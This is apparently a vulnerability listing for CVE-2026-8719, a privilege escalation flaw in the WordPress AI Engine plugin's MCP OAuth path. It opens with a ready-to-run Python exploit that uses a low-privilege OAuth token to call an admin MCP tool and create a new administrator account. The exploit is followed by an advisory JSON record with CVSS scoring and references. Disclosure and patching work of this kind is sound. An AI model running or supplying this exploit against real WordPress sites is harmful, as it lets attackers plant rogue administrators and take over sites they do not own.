CVE-2026-8719

import requests # Exploit Title: WordPress AI Engine Privilege Escalation (CVE-2026-8719) # Description: Exploits missing capability checks in MCP OAuth path. TARGET_URL = "http://example.com/wp-json/mcp/v1/tool" # A valid OAuth token obtained from a low-privileged account (e.g., Subscriber) ATTACKER_TOKEN = "ya29.a0AfH6..." def exploit(): headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Payload attempting to perform an admin action (e.g., add admin) payload = { "tool": "admin_manager", "arguments": { "action": "add_admin", "user_login": "hacker", "user_email": "[email protected]", "role": "administrator" } } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Privilege escalated.") print(response.json()) else: print(f"[-] Exploit failed. Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-8719", "sourceIdentifier": "[email protected]", "published": "2026-05-17T04:16:42.580", "lastModified": "2026-05-17T04:16:42.580", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to Privilege Escalation in version 3.4.9. This is due to missing WordPress capability enforcement in the MCP OAuth bearer-token authorization path, where any valid OAuth token causes MCP access to be granted without verifying administrator privileges. This makes it possible for authenticated (Subscriber+) attackers to invoke admin-level MCP tools and escalate privileges to Administrator."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3533527/ai-engine", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0593c20d-3422-4817-9639-614254b609db?source=cve", "source": "[email protected]"}]}}